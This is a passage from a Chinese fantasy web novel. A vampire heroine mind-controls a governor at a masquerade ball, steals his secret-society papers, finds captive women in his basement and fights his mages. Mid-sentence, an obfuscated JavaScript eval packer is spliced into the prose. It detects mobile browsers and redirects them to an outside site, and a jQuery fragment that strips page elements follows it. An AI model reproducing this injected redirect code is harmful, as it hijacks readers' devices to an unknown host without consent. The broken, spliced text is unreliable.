“是啊，之前我自己也搞出了点意外，之后洛斯教了我一些控制火势的技巧。”我想起那件事，不禁微微皱眉。 “至少你没尝试用燃烧的猪，我发誓那是我想过第二糟糕的主意。很高兴你能从我的错误中吸取教训。” 我又皱了皱眉，不敢和她对视。 “阿丽亚娜……” “求你别说了，我可不想再想起那次惨败。” “阿丽亚娜，我特别叮嘱过你……” “我知道，行了吧？那是个意外！” “这怎么可能是意外？！你用了火！还有猪！” “我根本不知道那里会有猪！” “你怎么能没预料到这种情况呢，我问问你？” “住口！” 我们转过身，看到一队严阵以待的士兵正在检查营地的出口。 “我打扰到两位女士吵架了吗？”领头的守卫冷笑着问道。他是个威严的中士，一看就是经历过很多事的人。他眼睛下面的黑眼圈，明显表明他早就该下班了。由于最高指挥官被暗杀，整个营地一片混乱，到现在，大多数士兵都只是靠着一股怨气强撑着。 “当然没有，长官。” “那你们为什么这么急着离开？” 我吸引了他的注意，察觉到他很沮丧，他大概率认为凶手要么是藏在暗处的叛徒，要么早就逃之夭夭了。而且他还很轻视我们，在他看来，两个年轻女人根本不可能是凶手。 “我们的事办完了，长官，我们要回村子去。” “你们的事，嗯……”他说道，这时我才意识到我想错了。他把我们当成了陪军官寻欢作乐后，准备回住处的妓女。我们年轻的面容、朴素的穿着，再加上独自出行，这些都让他把我们归入了这一类人。 我不好意思地笑了笑，没错，这位长官，你猜对了。 “您需要检查一下马车吗？” “你怎么知道我们要检查马车？”他皱着眉头问道。希梅纳担忧地看向我，但我毫不犹豫地回答道： “您检查了我们前面那辆马车，现在又把我们拦下了，长官。” 我的语气坦诚，没有一丝傲慢。我稍微施加了一点让他轻视我们的意念，很快，中士就转过身，挥手让我们离开了。 我点点头，然后我们就离开了。 走出他们的听力范围后，希梅纳赞赏地笑了笑。 “阿丽亚娜，你反应又快又有效。你总是能给人惊喜，而且正如我期望的那样足智多谋。” “是的，亲爱的姐姐，当一个人不在下属面前和权威人物对着干时，确实能做成很多事，不是吗？” 希梅纳思考了一下，然后接着说： “我觉得你不这么伶牙俐齿的时候，我还更喜欢你一些。” 原来当道尔顿跟我顶嘴的时候，他就是这种感觉啊。我算是没救了，因为他肯定不会放弃那种能让他得意的反驳。 在回去的路上，我们一边讲故事，一边愉快地斗嘴。 40.舞会谜局 我的梦幻宫殿在光怪陆离的形状和色彩中渐渐消散。意识随着那汹涌澎湃、推着我前行的潮水起起落落。我从灵魂深处知晓，我来到这里是有缘由的，而且是极为重要的缘由。那是一种稍纵即逝的使命感，从围绕着我的幻影之外向我召唤。 就在我思索这些的时候，我冲破了一层类似薄膜的东西，向前倒进了一具不属于我的身体里。我没时间去细想这具身体的任何生理特征，因为我的意识瞬间就被一种势不可挡的感觉吞噬了。 如此强大的力量。 半神的力量在我的血管中奔腾，急切地渴望被释放。我高高在上，无人能与我匹敌。变幻莫测的虚幻云朵凝聚起来，变得漆黑一片。一幅场景在我眼前展开。我站在那里，我是……我是…… 我感到无比厌烦。 熊熊大火肆虐着一个渔村的残骸，滚滚浓烟升入夜空。渔网、篮子和罐子与身着铠甲的尸体一同散落在地上。看不到一个劳工的身影，躺在这里的全是战士，或者说，在这个可悲的时代里被称作战士的人。 他们都是蠢货，软弱无能的蠢货。 我朝着一个身着灰色板甲、还在苟延残喘的男人走去。我在倒下的尸体残骸中穿行，每走一步，脚下都会扬起阵阵灰烬。人类、吸血鬼，甚至是被魔法召唤来的奇异生物，在我面前纷纷倒下，没有展现出丝毫的智慧之光，没有一点天才的火花。他们的生命在追求平庸中被白白浪费，如今注定要被时间遗忘，他们的记忆也因最终毫无意义的失败而蒙羞。 这个男人是他们的首领。他浓密的黑血把黑色的胡须黏在脸上，我施的一道红色火焰法术正缓缓灼烧着他的□□。他带着那种一无所有、无所畏惧的空洞勇气，用一双不一样的眼睛看向我。 “我什么都不会说的！你还不如杀了我，怪物。” “你以为我想知道吸血鬼和法师为什么联合起来对付我，或者你们是怎么知道我会在哪里出现的？你错了，可怜虫。我才不在乎这些。我唯一好奇的是，你们凭什么觉得自己有胜算。” 我揪住他的衣领把他提起来。他疼得哼了一声，因为这个动作让我的法术烧得更深了。 “这对我来说没什么新鲜的，这一切都不新鲜。我以前见过这种联盟，也遭遇过这样的埋伏，还杀过领主和骑士。你们什么都没带给我。甚至你们那些用来阻止我的蹩脚借口，都是我听过上千遍的陈词滥调。你们太让我失望了，不过今晚我心情不错。要是你能说点有意思的，我就饶你一命。” “我……知道你在找谁……你永远……抓不到她。” “我有的是时间，而且我只要幸运一次就够了。” 我吸干了他的血，然后把那具还在冒烟的尸体扔开。范海姆家族的血脉，对于一个小贵族来说，味道有点淡。 “准备工作完成了吗？” 我察觉到一个身形轻盈的人在我身后点头表示肯定。很好。我已经耽搁太久，线索都断了。这不是第一次，恐怕也不会是最后一次。 “那就出发吧。” 我的仆人消失了。我也很想立刻离开，可惜，还有些事要处理。那些袭击我的人在我到来之前就疏散了村子里的人，可能是为了避免不必要的伤亡，也为了防止我吞噬他们。我得让他们知道这种做法是徒劳的，我要立个榜样，好让自己能安宁几十年。这又是一件麻烦事。 那就动手吧。 我今天做了个梦。噩梦一直折磨着我，直到我醒来，其他幻象通常都在我心灵堡垒的核心处出现，所以我知道这个梦不一样。只是，当我醒来时，那些画面还没等我记住，就在我的指尖消散了。梦里有个男人，不，我就是那个男人，还有一个倒下的骑士。他死了，是我杀了他。我还记得他的味道。似乎有什么很重要的事要弄明白，要是我能想起来是什么就好了。一个梦真的重要吗？它除了意味着我的痛苦，以及纳肖巴不像其他人那样愿意给我写信之外，还有别的含义吗？ 马车停了下来，打断了我的思绪。还没到时候，我们刚刚加入了等候进入约翰·菲尔莫尔派对的队伍。 约翰·菲尔莫尔，白手起家，现任佐治亚州州长，同时也是兄弟会的高级成员，也是我今晚的目标。 我低头看着手中的面具，轻轻抚摸着它光滑的漆面。这是我装备库里的新成员。洛斯制作这件杰作时，真是超常发挥了。面具的外形是完美的月牙白色椭圆形，没有任何五官特征。在中间位置，有两个不显眼的小孔，当我需要嗅探气味时可以用来呼吸，下半部分可以拆卸，整体设计很是奇特。完全没有五官的设计让我看起来像个真正的怪物，反而更凸显了我在上面画的东西。 我用纯黑色画了一个只能说是巨大的嘲讽笑脸。我花了很长时间，才把那副轻蔑的冷笑表情画得恰到好处，那是一种带着戏谑的轻蔑的完美表达。八颗风格化的獠牙围绕着嘴巴，显得十分张扬。只有在匿名的时候，我才完全接受自己的血统，这其中有一种绝妙的讽刺意味。 我还画了一对风格化的眉毛和眼影。比如当我向前低头时，就像在战斗中那样，阴影会加深，让我看起来更加凶狠。 面具的内部和我的脸完全贴合，就算没有带子也能固定住。它没有遮住我的耳朵和后脑勺。面具里面还刻着一个金色的符文，应该会很有用。它能在一定程度上隐藏我的气场。虽然对付结界没什么用，但普通人很难察觉到我。希望它能让我在打不过的时候顺利逃脱。 就在马车停在菲尔莫尔府邸那巨大的门前时，我戴上了面具，然后拿着正式邀请函走了进去。 敞开的大门，管家亲切地检查着那些奶油色的信封，一切都表明我是受邀而来的。我顺利地跨过了门槛，但心里还是有些忐忑。 计划成功了。 我朝着舞厅走去，第一批狂欢的人转过身来打量着我。 为了这次行动，我们放弃了低调，力求达到最大的效果。说实话，如果没有这个面具，我根本没有勇气这么做。 我的穿着十分惹眼，除此之外没有别的词可以形容。我穿着一条黑色的裙子，领口和肩膀上装饰着长长的乌鸦羽毛。高筒手套一直延伸到有着甲壳质感的爪子处，遮住了我的手臂。虽然我露出来的皮肤很少，但这条裙子很贴合身形。黑曜石碎片沿着我的身体侧面以迷人的图案缝制着，吸引着、也分散着那些胆敢看向我的人的注意力。 穿上这条裙子就表明了一种态度，而我别无选择，只能坦然接受。于是我昂首挺胸地在人群中穿梭，身姿轻盈、步伐灵活，每一步都带着凡人无法企及的优雅，身后留下的是人们的羡慕，还有一丝淡淡的恐惧。那些看向我的人都知道我是个捕食者。在体面的社交场合，一个女人这样招摇过市是不可想象的，而那些约束我的规则，也同样让在场的人不能公然向我发难。这种感觉简直让人陶醉。今晚，我不再是阿丽亚娜，那个矜持的地主绅士的女儿，每周日都会去教堂做礼拜，守身如玉。我是尼拉里家族的阿丽亚娜，桑恩和亨格的女儿，那个在吸血鬼和狼人中间杀出一条血路，追求自由的人。那个阿丽亚娜才不在乎什么同辈的压力和那些庸人的评判。她在这个世界上有自己的位置，也有可以依靠的朋友。 我无视那些窃窃私语、目瞪口呆的乡巴佬，还有在舞池中央跌跌撞撞跳舞的人。我从一个路过的服务员手中拿过一杯香槟，朝着花园走去。从眼角的余光里，我看到了这里的主人，他正侧身向另一个管家询问着什么。我不怎么喜欢打赌，但我敢用花生和纯金打赌，他问的肯定和我的身份有关。 诱饵已经放好，我走了出去。 碰巧的是，菲尔莫尔先生喜欢年轻自信的女人。而且他从未见过我，我是通过他们的一个商业伙伴拿到的邀请函。如果一切顺利，他应该会主动来接近我。我只需要撑到他有所行动就行，在那之前，我可不想陷入冗长的交谈。 我走出去，沿着一段楼梯来到一条砾石小径上，小径两旁是修剪得整整齐齐的草坪。花园在我面前展开，这个时候空无一人。它大得惊人。 我缓缓地沿着精心修剪过的树木和摆放得十分规整的花坛走着。方形的树篱沿着前方的小路排列着。 我认出这是法式园林的风格，痴迷于对称和对自然的掌控。我年轻的时候，这种园林是我的最爱。我曾经觉得它规整的线条和精心的设计让人感到平静。但最近，我开始渴望更野性一点的东西，我心灵堡垒里空灵公园的设计就反映了这种品味的变化。那里有更多隐蔽的小径和蜿蜒的道路，花朵带着刺，随意地四处蔓延，覆盖着奇怪的石头。 我的双脚把我带到了一小片树林旁，这是这片地产上唯一没有被人类控制的地方，这让我有些意外。那里已经有人了。 我有点好奇，躲在一根树枝下，成了一场奇特表演的不速之客。一个戴着长着两只向上突出尖角的萨提尔面具的男人，正在用横笛吹奏一首无声的曲子。我很快就明白了为什么没有声音。这个奇怪的音乐家把一条轻薄的围巾的一端放在吹口和唇盘上，这样声音就不会传出去。他的手指在银色的笛身上轻快地跳动着，然而，就在我看着的时候，他的手指突然乱了起来，停了下来。 “这真是又复杂又做作的废话。”他生气地骂道。 “这就是这首曲子的名字吗，先生？” 听到我的声音，这个“萨提尔”惊讶地跳了起来，还捂住了胸口。 “天哪，女士，下次麻烦你敲敲树干再出声。”他立刻又说道，“您走路就像一阵微风一样轻，女士，请原谅我的失礼，我刚才没看到您。” 然后他优雅地鞠了一躬，把笛子像佩剑一样放在身侧。 “我原谅你了，亲爱的萨提尔。不过我想问一下，这里可不是排练的好地方吧。” 我走近一些，仔细打量着这个奇怪的人。他大概很年轻，穿着一套绿色的西装，上面用染色的布料装饰着树叶和藤蔓。他的脚上套着一双大得可笑的假蹄子。面具后面，一双毫无心机的黑眼睛看着我。一头黑色的卷发从面具两侧垂下来。 “如果我说我在向女神献上我的歌声，希望阿尔忒弥斯能中断她的狩猎，从天空降临，赐予我夜晚的秘密，甚至青睐于我，您会相信吗？” “这想法很有意思，朋友。不过萨提尔是侍奉狄俄尼索斯的，而音乐是欧忒耳佩的领域，而且遗憾的是，阿尔忒弥斯永远都是处子之身。” “该死的古典教育，我的谎言被拆穿了。” “说实在的，又复杂又……荒唐的东西，听起来可不是什么好的祭品。” “什么都逃不过您敏锐的感觉。好吧，既然让您听了这么糟糕的演奏，我至少应该对您说实话。我在躲人。” “躲谁？” “您有没有见过一个穿着棕色裙子到处乱跑的女人？还戴着一个狗面具。” “我没见过。” “她一直缠着我。” 我对这个蹩脚的双关语忍不住叹了口气，但又忍不住笑了出来。他说这话的方式倒是挺有趣的。 “是真的！她叫玛格丽特·哈特，是当地一个家具商人的女儿，她认定我们命中注定要在一起。但我可没同意啊。从那以后，她就一直很主动地追求我。” “她打动你的心了吗？” “没有，不过她倒是没少努力。” “我明白了，那这个面具也保护不了你吗？” “恐怕躲不掉。尽管化了妆，我们还是很容易被认出来。我们这里的人都相互认识，很多年了。比如可怜的弗朗西斯表哥，就算戴着再厚的布或者面具，也遮不住他当众挠屁股的坏习惯。啊，不好意思，我说脏话了。” “我原谅你说脏话了，先生，但你不该让我想到这幅画面。我真想把你的追求者叫过来报复你。” “我任凭您处置，女士。不过，我得提醒您，她也会把一部分注意力放到您身上的。” “把我当成情敌？” “肯定会的。” “这也太夸张了吧，我们才刚认识。” “这个可怜的女孩渴望刺激，一个神秘美丽的女人的出现，足以让她把您当成一辈子的敌人。” “你肯定是在夸张。” “她最喜欢的八卦还是她姨妈那次意外怀孕的事。” “这……听起来确实是件大事？” “如果您想想那是十三年前的事，就不觉得了。那个孩子现在几乎和她一样高了，不过显然没她那么胖。到目前为止，这还是她人生中最刺激的事。” “天哪，这也太无聊了。” 我宁愿自刺然后直面黎明，也不想过这样的生活。 “现在您能想象我的烦恼了吧。” “和她结婚简直是灵魂的毁灭。我理解。顺便问一下，你怎么知道我漂亮？我这面具下面说不定是个蛇发女妖呢。” “这是个化装舞会，女士，我可以选择认为您很漂亮，而您要是想反驳我，就得打破规则。而且，您的神态中有一种东西，一种自信。这可不是丑女会有的气质。” “哦，你真有洞察力。不过告诉我，追求你的这个女人难道不漂亮吗？” “恐怕她从出生起就长得很丑，就像从丑树上掉下来，一路砸在每一根树枝上，最后脸着地摔的。” “她肯定有什么可取之处吧？” “说她身材苗条，那这柳树肯定是被砍倒做成桶了。她的脾气更适合冥河之神哈迪斯，而不是冥后珀尔塞福涅。要是她曾经有过什么道德底线，估计也早就干涸，变成篮子了。” 我忍不住笑了出来。他可真有意思！我已经很久没有这样愉快、轻松地聊天了……久到我都记不起来了。我一直在战斗和躲藏，就连社交活动也只是另一场阴谋的舞台。仔细想想，这次也不例外。不过我还有点时间，我不能急于完成这次任务，而且，这真的很有趣。 是的，我怀念这样的时光。只是在外面享受一个愉快的夜晚，和一个健谈的人聊天。机智的回应，有趣的交流。很幸运他一个人在这儿，而且他闻起来很好闻，像是干净皮肤上肥皂和阳光的味道。他的心跳很有力，现在还跳得更快了一些。我能想象他触碰我，而且不会感到害怕。他会很温柔、很有耐心，然后我会把他……不！ 我向后退了一步，收起了急切露出的獠牙。面具让我没做出让自己后悔的事。现在不是寻找新追随者的时候，我还有任务要完成！ 而且我会失去他。 这个人不适合做我的附庸，我要是把他变成附庸，每次吸食他的血之后，他会越来越温顺、听话，最后失去自我，变成一个空洞的躯壳，就像牲畜一样。 我原本要搭在他肩膀上的手垂了下来。他也把手缩了回去，我能看出他有点失望。 “对不起，我不知道自己刚才怎么了。” “哈哈，没什么好道歉的。我还希望你刚才的状态能多持续一会儿呢。这感觉……很愉快。” “我不想太冒失。” “别放在心上，我能应付不想要的关注，而刚才可不是。” 我沉默了一会儿。我喜欢这个时刻，也喜欢他。但现在，这种美好的氛围被打破了，我想起了自己来这儿的目的，也想起了自己的身份。不过，这个晚上我还能再争取点别的东西。 “关于你那个不想要的追求者，我觉得你处理这件事的方式不太对。” “您这么认为吗？我很愿意听听您的建议。我本来打算她下次来的时候放狗去咬她。” “我保证没那么粗俗。想想你可怜的狗狗们。不，你需要的是公开表明态度。这样的羞辱会让她不再纠缠你。” 这个男人的站姿透露出一丝希望。 “您有什么建议？” 我微微向前倾了倾身子。 “邀请我跳支舞怎么样？” 他紧张地舔了舔嘴唇。 “好的。我明白这确实是个好主意。” 我挽上他的胳膊。我今晚真是大胆！要是康斯坦萨知道了，肯定会尖叫起来。 我这位神秘的朋友带着我回到舞厅，昂首挺胸地走向舞池。我意识到他很可能比我年轻很多，随着时间的推移，这种情况会越来越常见。我们在众多侍从好奇的目光下走进舞池，和其他舞者站成一排，随着长笛和小提琴的音乐翩翩起舞。 跳舞向来是社交活动。缓慢的节奏让人忍不住想要调情，不过周围这么多人，也不会发生太出格的事。除了偶尔的拍手，没有其他身体接触，但这并不妨碍我成为众人瞩目的焦点。对别人来说，哪怕是最微小的平衡变化，都可能让旋转变得尴尬或者完美，而对我来说，我做什么都是完美的。每一步，每一次转身，时机都把握得恰到好处。我让舞伴带着我，同时也引导着他。随着音乐的进行，我们成了众人关注的中心，因为没人能像我们这样展现得如此出色。从眼角的余光中，我注意到一个戴着狗面具的胖女人气冲冲地走出了房间。 “看来我们的小计策奏效了，你的追求者刚刚离开了。” “我还是想确认一下，你能再和我跳一支舞吗？” 我开心地笑了。我的舞伴虽然经验不足，但他的热情弥补了这一点。可惜，我能看到我们计划的下一步即将展开，是时候回去继续执行任务了。我必须结束这场消遣。 “恐怕我得拒绝你了，先生。毕竟，被抛弃的女人发起怒来可是很可怕的。我得准备离开了。” 他正要抗议，我却打破常规，用一根手指按在他的嘴唇上。这个举动让他瞬间乱了舞步，好在他很快就调整过来了。这个可怜的小伙子看起来十分沮丧。 “我们还会再见面吗？” 不，我们不会再见面了。这只是此刻偶然发生的一段经历，或许也是一个信号，意味着我可以向前看，夺回本就属于我的东西。 “谁知道呢？” 乐队停止演奏时，我融入人群，把他留在身后，朝着房间中央走去。在那里，一个戴着青蛙面具的管家拦住了我。 “女士，请原谅我的冒昧。如果您愿意，菲尔莫尔先生希望能和您单独聊一会儿。” 我点点头，跟他走了。我们的计划成功了。 我原本以为一到这儿就能直接去找他，但洛斯说最好还是等他来邀请。因为我的目的是和他单独相处，这就需要我们离开这个房间，而在不引起太多人注意的情况下离开会更好。我对此心存疑虑，并向洛斯表达了出来。像我这样一个不太擅长调情，更别说 seducing 的女人，怎么可能在一个晚上就和菲尔莫尔先生这样的名人独处呢？他是不是高估我了？ 那个高个子男人只是挑了挑眉毛，反驳道： “一个有权有势的男人怎么会被说服在自己家里和一个漂亮女人独处呢？这可真是个难题啊。要不你先给他展示一下你的编织手艺，和他愉快地聊聊天？不开玩笑了，运用你的直觉和西妮德教你的技巧。那个男人渴望被 seduce，所以既然你戴着面具，那就稍微大胆一点，相信我，我是个男人，这肯定行得通。” 于是就有了现在这一幕。我只希望他不要太粗俗，在公共场合对我动手动脚。那样的话，对所有相关的人来说都将是一场灾难。 人群为我们让开一条路，我终于看到了我们这位“亲切”的主人。他坐在一把真正的王座上，身着奶油色和金色相间的西装，脸上戴着一个太阳面具，由一顶金色王冠固定着。他身边站着一个光头的壮汉，正严阵以待。 这是我离开兰开斯特家族后见过的最明目张胆的自大炫耀了。 “啊，晚上好，小姐，我想我们并不认识吧？” “当然不认识，太阳王，毕竟这是一场化装舞会。” 这个男人轻笑起来，但他的眼神中依然充满好奇。 “那我该怎么称呼你呢？” “墨尔波墨涅。” “一位缪斯女神！我能有幸看看你的高底靴吗？” 高底靴是古希腊悲剧演员穿的鞋子。幸好阿喀琉斯曾经提到过，不然我现在肯定会显得很滑稽。 “您肯定不会希望我在您的派对上失态吧，先生。” “当然不会，哈哈，当然不会……” 没错。 “那个，女士……” 接下来的谈话需要极大的耐心。我立刻开始聊菲尔莫尔最喜欢的话题：他自己。同时，我保持着神秘的形象，巧妙地逗他开心。对于像他这样在社交场合经验丰富的人来说，任何过于直白的手段都可能被他察觉。我小心翼翼，不敢高估自己。适时地轻声笑一笑，偶尔发表一些有趣又略带嘲讽的评论，渐渐地，他放松了警惕。这时，我眼中闪过一丝魅惑。果不其然，菲尔莫尔先生戴着一个魔法护符。 真有意思。看来我这位亲爱的客人涉足了很多领域，既和秘密社团有关联，又和法师有联系。 再次遵循西妮德的方法果然很有帮助。我小心地将我们之间的情感纽带与他此刻的情绪相契合，开始突破他的魔法护盾。然而，这个护符非常强大，比罗森塔尔家守卫戴的那个还要厉害。现在我必须一边专注于谈话，一边努力突破护盾。经过长时间的练习，我很快就成功了，得以窥探到他的想法。 不出所料，这位主人并没有多尊重我。在他的脑海里，我感受不到任何尊重或关心，但他确实有不少欲望。只是这些欲望被他谨慎的自控力和……担忧所抑制。他不可能知道我是什么，这种感觉太模糊了，不是因为这个原因。那是为什么呢？ 啊，当然了，是社会压力。我的这位主人是个鳏夫，虽然他再找个伴侣也并非不可接受，但要是被人看到和一个年轻女人单独上楼，这可能会影响他的声誉。如果我能巧妙地减轻他的这种担忧，这对我来说就是个机会。菲尔莫尔显然很担心有人会操控他的思想，任何突然增强的□□都可能会引起他的怀疑。所以，我只需削弱他的克制力就好。要是他能多喝点酒，这些效果酒精就能达到了。 很快，我们的谈话到了一个关键节点。他一直在吹嘘自己花大价钱从意大利运来的一批文艺复兴时期的画作，突然，他停了下来，转向我。就是现在，今晚的关键时刻。如果他现在离开，我就没机会进入他的私人密室了，我们好几周的努力也会付诸东流。 我必须试试。 “我真希望能看看那些画。其实我自己也是个画家。” “是吗？” “是的，不过我可不敢说自己有什么天赋。我对文艺复兴时期的作品研究得不多，我更喜欢巴洛克风格。你知道为什么吗？” “说来听听。” 我微微前倾，双臂将并不丰满的胸部往前挤了挤。这动作幅度不大，但我看到他眼中闪过一丝光亮。 “巴洛克风格的作品善于捕捉瞬间。贝尼尼画的《大卫》，描绘的是他掷出石头的那一刻；维米尔画的《戴珍珠耳环的少女》，画中的少女正转头看向他。他们巧妙地运用光影和动态，让作品栩栩如生。” “太有趣了……没错，就是瞬间。你说得很有道理，我很想听听你对我那些藏品的看法。” “我真的很想去，不过，我也不想在您的派对上一直霸占您的时间。” “别这么说。能招待像你这样品味高雅的客人，可不是每天都有的机会。” 我打赌确实不是。 “我们走吧？” 他站起身来，管家和保镖配合默契，像是事先排练过一样，掩护我们离开了。我跟着他走上一段楼梯，来到一条走廊，一边走一边欣赏沿途的画作。菲尔莫尔喜欢田园风景画和裸体画，展出的作品中宗教题材的很少，希腊神话主题的居多。这或许能解释为什么他在谈话中敢提到“高底靴”，还不会被自己的自负压垮。 高底靴，真是的。 “现在，来看看我的收藏中最珍贵的宝贝。” 我们来到一个摆满古玩和艺术品的房间，里面只有我们两个人。菲尔莫尔的助手们没有跟上来，这对我来说是个再好不过的机会。 “真令人印象深刻……”我说着，用指甲轻轻划过他的衣领，不动声色地解开他吊坠的链子，轻易地用两根爪子就把它扯断了。随着欲望逐渐占据上风，我的猎物呼吸变得急促起来，他甚至都没察觉到自己的防护被我解除了。 我不再掩饰，像敲开坚果一样轻易地攻破了他的心理防线。我已经魅惑他将近一个小时了，他根本没有反抗的余地。 “你想让我开心，对吧？” “是的。” “你有和新光明兄弟会相关的笔记吗？” “有。有笔记，还有用来敲诈的材料。” “在哪里？” “有些在我办公室的保险箱里，其余的分散在这个郡的各个地方。” “带我去。” 我不需要一直和他对视，但也不能让他离开我的视线太久。我们悄悄前往他的住处，他打开书房的门，用一把复杂的钥匙解开了一个复杂的结界。 菲尔莫尔的办公室里满是浮夸的装饰，但也看得出他工作很努力。很明显，他的成功完全是靠自己。自从艾萨克帮我开了个账户后，我就再没见过这么自律和高效的人了。我把能拿到的东西都塞进裙子侧面一个隐秘的安全口袋里，也没细看。这样会让裙子鼓起来一块，但我觉得不会有太多人注意到。多亏了我在查尔斯顿的经历，这个口袋防水、防火、防烟，甚至在一定程度上还能防弹。 这里还有五百多美元的债券，我也一并收了起来。 这可是战利品！ 我想起了穆尔夫人关于掠夺的轻蔑言论，立刻把它抛诸脑后。那个自大的家伙靠之前的投资和走私酒水赚钱，她和梅露辛娜都可以去火山上晒太阳了，这笔钱是我的。 “这里还有其他对你来说有价值的东西吗？” “有，我地下室里还有些东西。” “酒吗？” “不，是秘密地下室。” 天呐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15086138|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！他还真像个歌剧里的反派。 “我怎么进去？” 原来，隐藏的入口在他卧室的一面假墙后面。我让他喝了几瓶我在他桌上找到的上好威士忌，然后跟着他来到了那里。 “这里有好几个出口，从地窖出去都很方便，没有陷阱。” 我命令他打开入口，让他在我进去后关上，然后让他陷入沉睡。我抹去了他过去一个小时的大部分记忆，只留下一段因酒精作用而模糊的画面。他醒来后应该会意识到自己被一个他没看清脸的女人抢劫了，这种尴尬应该能让他闭嘴。我怀疑他不会向他秘密社团的同伴抱怨，因为我很容易就能想象到他们是怎么处理这种出问题的成员的。 我沿着一段昏暗的狭窄楼梯往下走，根本没去管那些灯，我干嘛要管呢？这条通道把我带到了地下三层。透过薄薄的墙壁，我还能听到小提琴声和人们的低语声，这表明派对还在热闹地进行着。 在最后一个楼梯平台上，有一扇上了锁的门，这次门上没有结界。我打开门，然后在身后锁上。 以Watcher的名义，这到底是什么地方？！ 我转过身，眼睛看到的和耳朵、鼻子感受到的完全一致。我站在一个巨大的房间里，地面是夯实的泥土，还有支撑的柱子。几扇钢门通向更里面的空间，但吸引我注意力的是房间中央的东西。有四个笼子用铁链固定在地面和天花板上，每个笼子里都关着一个女人。 菲尔莫尔，你这个恶心的变态，我还是低估了你的堕落程度。这布置简直和吸血鬼的巢穴有得一拼，不过手法太业余了。我随便就能说出三个可以改进的地方。 所有的笼子都有盖子，还有一壶水和一个便盆。我左边第一个笼子里，一个身材矮小的亚裔女子面无表情地盯着天花板。第二个笼子里关着一个非常年轻的黑人女子，她正抱着膝盖。第三个笼子在我左边，里面的印第安女孩背对着我，最后一个笼子里是个红发女子，她难以置信地盯着我。 哎呀呀，我该怎么处理这些人呢？ 我注意到入口处有一张桌子，上面堆满了笔记，我大致翻看了一下。全是关于性的内容。 我真不该来这里，这完全是浪费我的时间。 “嘘！求求你了。” 我应该直接离开的。 “小姐，求求你……” 我叹了口气，走近那个红发女子。从近处看，我发现她比我之前以为的还要年轻。她出人意料地干净，但疲惫和痛苦清晰地写在脸上。她脸色苍白，和她通红的眼睛、眼下的黑眼圈，以及我在她裸露皮肤上看到的淤青形成鲜明对比。 “什么事，哀求者？” 我用了这个陌生的词，她吓得往后缩，还下意识地畏缩了一下，似乎在等着某种惩罚。发现没有惩罚降临，她鼓起勇气继续说道： “你和他是一伙的吗？” “不是。” “那……请帮帮我们，让我们逃走吧。” “我为什么要这么做？” 那个黑人女孩的啜泣声变成了惊恐的哀号。我没有回应，只是打量着面前的这个女孩。 她很机智，也很勇敢，不是那么容易被击垮的。我对她有一种亲切感，她和我一样，都是幸存者。 “我会为你服务的。我会做饭、打扫，还会唱歌。我打起架来也不差。求求你了，小姐，我会全心全意地为你服务，你不会后悔的。” “成交。” 洛斯知道了会怎么说呢？算了，管他呢。 “我怎么打开这些笼子？” “先生，我是说，这房子的主人，他有钥匙。” 该死，我刚才审问的时候应该再仔细点的！ “还有别的办法吗？” 她摇了摇头，舔了舔嘴唇，快速地思考着。 “他可能在附近藏了一把备用钥匙？” 我点点头，开始四处寻找。除了桌子，这里还有一些木制的器具，放在刑讯室里都毫不违和。一个架子上摆着一些我不认识的工具，光是它们的形状就仿佛在诉说着悲惨的故事。如果我救了这个女人，菲尔莫尔今晚可能就活不成了。 我回到桌子旁，可惜，仔细找了一遍，只找到一把藏着的刀。我确定这里没有秘密隔间。快速查看了那两扇钢门后面，只发现了隐藏的出口和一个像仓库那么大的地窖，里面堆满了箱子和清洁用品。 我回到红发女子那里，她开始哭起来，还抓着笼子的门。 我用力拉。 “这是钢的，小姐……” 金属发出嘎吱嘎吱的声音，铰链突然断裂，门开了。 “ holy shit！” “注意言辞。” “对不起！” 我看向其他几个女人，我可以用同样的方法救她们，或者把她们留着当食物？ 这时，楼上传来一阵沉重的脚步声，有人正急匆匆地往下走。我该怎么办？如果现在带她走，在我打开隐藏出口之前，他们就会追上我们。 我还在犹豫不决的时候，决定已经不由我做了。 “待在这儿，假装门还关着。”我在门被猛地推开之前，匆匆低声说道。菲尔莫尔带着三个人冲了进来，其中一个是我之前见过的保镖，还是一脸木然。另外两个人更有意思，一个是面容疲惫、留着灰白胡须的老头，还有一个是穿着红色夹克、满身油渍的胖子，他脸色通红，气喘吁吁。 这两个新来的是法师，很可能就是制作那个吊坠和设置结界的人。 “你……把文件……交出来！”我的主人挥舞着一把枪，喘着粗气说道。 我没有回答，而是朝着黑暗中跑去。菲尔莫尔没有开枪，倒不是说子弹能拦住我，只是再隔音的天花板也挡不住枪声的巨响。 我没有朝着出口跑，而是进了仓库，在身后锁上门，然后向上一跃，用爪子和脚紧紧贴在天花板上，等着他们。 “她往左边跑了？” “不，右边，蠢货。”一个沙哑的声音回答道，大概是那个老头。 这三个人冲进了房间。老头还算机灵，拿了一盏灯笼，保镖现在手里拿着一根棍子。 “我们分开找，你往右，我往左，最后在尽头会合。阿利斯泰尔，你守在门口，要是她想跑，就抓住她。” “我们真要这么做吗？我们可以……” “闭嘴。当然要这么做。现在快去。” “我没灯。” “那就自己弄一个。”领头的不耐烦地说道。 胖子抱怨着照做了。 “亮起来！” 一个苍白的光球升起来，照亮了整个房间，但他们没有往上看，从来没人会往上看。 这两个人分开开始搜寻。他们的灯光是这里唯一的光源，房间里堆满了杂物，在这里躲个一两分钟还是很容易的。 “出来吧，别挣扎了，你知道自己被困住了。” 等他们走到离我几米远的时候，我从天花板上跳下来，扑向保镖。为了避免引起大的丑闻，我或许还能饶菲尔莫尔一命，但这些人就没那么幸运了。 我悄无声息地用手指刺穿了保镖的脖子，把他拉下来，以免他倒下的声音暴露目标，然后把他的尸体藏在阴影里。解决了一个，还剩两个。 “别傻了，姑娘，你逃不掉的。” “你凭什么这么肯定？” 两个人都转过身来，一个惊讶地叫出声，另一个举起了护手。 “他被解决了，哈？干得不错，但你只是在拖延时间。” “我再问一次，你凭什么这么肯定？” “姑娘，除非有武器，否则只有一种东西能拦住我，而你不是。现在，给我跪下。” 